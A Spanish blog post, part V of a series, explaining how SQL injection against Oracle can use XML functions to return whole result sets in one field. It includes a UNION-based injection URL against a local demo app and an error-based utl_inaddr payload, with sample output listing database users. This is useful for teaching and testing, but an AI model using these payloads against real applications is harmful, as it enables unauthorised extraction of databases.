viernes, marzo 20, 2009

Serialized SQL Injection (Parte V de VI)

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

Serialized SQL Injection en Oracle Databases

En las versiones de Oracle Database no está disponible la sentencia FOR XML de Microsoft SQL Server pero sin embargo sí cuenta con funciones preparadas para la generación de respuestas de datos en formato XML. Para conseguir realizar la serialización de datos se pueden utilizar las siguientes funciones:

- XMLForest: Esta función premite crear un árbol XML a partir de los parámetros que se le introduzcan. El árbol que se genera está formado por nodos que se encuentran situados todos a la misma altura, es decir, todos los nodos parten del mismo nodo raíz.

select xmlforest(tablespace_name, table_name) from user_tables;

[TABLESPACE_NAME]USERS[/TABLESPACE_NAME]
[TABLE_NAME]EMPLEADOS[/TABLE_NAME]

[TABLESPACE_NAME]USERS[/TABLESPACE_NAME]
[TABLE_NAME]USERS[/TABLE_NAME]

En este ejemplo se pude apreciar cómo se puede generar un lista de elementos en formato XML con filas de resultados formadas por los campos tablespace_name y table_name de la tabla user_tables.

- XMLElement: Permite añadir un elemento a un documento XML. Con esta opción, colocada de forma adecuada junto con la función XMLForest, se obtendría un nodo por cada fila de resultados. Esto permitiría unir los campos en filas con una estructura más manejable. Añadiendo a esta función al ejemplo anterior se obtendría:

select xmlelement(item, xmlforest (tablespace_name, table_name)) from user_tables;

[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]EMPLEADOS[/TABLE_NAME][/ITEM]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]USERS[/TABLE_NAME][/ITEM]


En el ejemplo se aprecia la creación del elemento ítem para englobar todos los campos de una fila.

- SYS_XMLagg: Permite englobar todos los documentos o fragmentos XML en uno sólo. Esta función va a ser la piedra angular para poder obtener un resultado serializado de los datos. No sólo se va a obtener un árbol XML correctamente estructurado sino que además se va a obtener en un único campo. Es decir, el uso de SYS_XMLagg unifica todas las filas en una sola, para genera un único documento XML. Añadiendo la opción xmlformat es posible englobar todo el documento bajo una etiqueta raíz, en este ejemplo se ha usado la etiqueta DS:

select sys_xmlagg(xmlelement(item, xmlforest( tablespace_name, table_name)), xmlformat('DS')) from user_tables;

[?xml version="1.0"?]
[DS]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]EMPLEADOS[/TABLE_NAME][/ITEM]
[ITEM][TABLESPACE_NAME]USERS[/TABLESPACE_NAME][TABLE_NAME]USERS[/TABLE_NAME][/ITEM]
[/DS]


Con esta opción sería posible serializar todos los resultados a un campo de tipo texto. No habría que olvidar, por supuesto, hacer un cast de los elementos.

select cast( sys_xmlagg( xmlelement( item, xmlforest(tablespace_name, table_name)), xmlformat('DS')) as varchar2(4000))from user_tables;

En el entorno de ejemplo, con la aplicación del portal del empleado la inyección sería la siguiente:

http://localhost/employeePortal/oracle.aspx?id=-1 union select '1','2','3',(select cast( sys_xmlagg( xmlelement( item, xmlforest( tablespace_name, table_name)), xmlformat('DS')) as varchar2(4000)) from user_tables) from dual


Resultados en el código fuente de la respuesta

Al igual que sucedía en MySQL, no es posible utilizar el carácter comodín “*” para extraer todos los campos de una tabla, por lo que será necesario utilizar consultas al diccionario de datos para extraer primeramente todos los datos de las columnas.

Un método similar en Oracle fue comentado por Alexander Kornbrust. En este caso él busca obtener la respuesta XML en el error ODBC de la base datos. Utiliza un método similar al propuesto para generar un árbol XML en formato carácter y lo compara con un valor numérico para generar el error.

or 1= utl_inaddr.get_host_name((select xmltransform (sys_xmlagg (sys_xmlgen(username)), xmltype(’[ ?xml version=”1.0″?];‘)).getstringval() listagg from all_users))--

En el mensaje del error aparecerá el texto XML. En este caso las etiquetas XML no están renderizadas, pero formarían parte de la respuesta.

Warning: ociexecute(): OCIStmtExecute: ORA-29257: host CUSTCOM_PROD;WEBTOOL;WEBDB;NELLDB;ERDB;B2B;BI;PM;SH;IX;OE;HR;SCOTT;MGMT_VIEW;MDDATA;SYSMAN;MDSYS;SI_INFORMTN_SCHEMA;ORDPLUGINS;ORDSYS;OLAPSYS;ANONYMOUS;XDB;CTXSYS;EXFSYS;WMSYS;DBSNMP;TSMSYS;DIP;OUTLN;SYSTEM;SYS; unknown ORA-06512: at “SYS.UTL_INADDR”, line 4 ORA-06512: at “SYS.UTL_INADDR”, line 35

*************************************************************************************************
Serialized SQL Injection (Parte I de VI)
Serialized SQL Injection (Parte II de VI)
Serialized SQL Injection (Parte III de VI)
Serialized SQL Injection (Parte IV de VI)
Serialized SQL Injection (Parte V de VI)
Serialized SQL Injection (Parte VI de VI)
*************************************************************************************************

2 comentarios: